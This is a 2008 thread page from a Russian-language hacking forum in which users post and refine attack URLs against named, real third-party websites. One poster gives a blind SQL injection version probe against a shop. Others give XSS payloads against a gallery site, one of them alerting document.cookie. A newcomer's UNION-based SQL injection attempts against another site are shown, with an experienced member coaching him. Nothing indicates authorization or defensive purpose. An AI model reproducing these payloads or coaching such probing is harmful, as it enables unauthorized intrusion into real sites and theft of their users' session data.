ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1281  
Старый 20.03.2008, 22:20
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

http://viscali.com/shop/main_bigware_53.php?op=results&pollid=1+and+substr ing(version(),1,1)=3

мускул третий, нет юниона
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #1282  
Старый 20.03.2008, 22:42
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию

Только учусь!
-----------------------
Подскажите, на что это я наткнулся и как это можно использовать?
Цитата:
http://tangocamp.org.ua/gallery?photo=2
http://tangocamp.org.ua/gallery?photo=2-1(или вообще любой текст)
вывод в номерах фоток
Я такого еще не встречал, подскажите.
 
Ответить с цитированием

  #1283  
Старый 20.03.2008, 23:05
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Вот прошу)
Код:
http://tangocamp.org.ua/gallery?photo=%3Cscript%3Ewhile(1)alert()%3C/script%3E
можно это XSS, читай маны
__________________
Кто я?..
 
Ответить с цитированием

  #1284  
Старый 20.03.2008, 23:10
_3lf
Новичок
Регистрация: 17.03.2008
Сообщений: 4
Провел на форуме:
106766

Репутация: 19
По умолчанию

Цитата:
Сообщение от blackybr  
http://viscali.com/shop/main_bigware_53.php?op=results&pollid=1+and+substr ing(version(),1,1)=3
мускул третий, нет юниона
Спс, вкурил
 
Ответить с цитированием

  #1285  
Старый 20.03.2008, 23:10
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

http://tangocamp.org.ua/gallery?photo=%22%3Cscript%3Ealert(document.cookie )%3C/script%3E
так проще
 
Ответить с цитированием

  #1286  
Старый 20.03.2008, 23:16
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию

Спасибо! xss я видел, но подумал, что это еще одна ошибка и к той не имеет отношения. Я ж говорю, что не встречал еще такого, чтоб просто менялся текст без вывода какой либо ошибки
 
Ответить с цитированием

  #1287  
Старый 21.03.2008, 00:01
bag
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
Провел на форуме:
253346

Репутация: 146
По умолчанию

нашел sql inc не могу пробить
помогите
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =999999
уже все испробовал
 
Ответить с цитированием

  #1288  
Старый 21.03.2008, 00:06
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

bag врать нехорошо. читай маны и пробуй, там все самое элементарное.
сам не попробуешь - подсказок не будет)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #1289  
Старый 21.03.2008, 00:15
bag
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
Провел на форуме:
253346

Репутация: 146
По умолчанию

ок,пробовал
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =1+group+by+1/* загрузилась
пробую
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =1+union+select+1/*
The used SELECT statements have a different number of columns
 
Ответить с цитированием

  #1290  
Старый 21.03.2008, 00:17
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

только эти два запроса? чтоже ты хотел ими сделать?
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ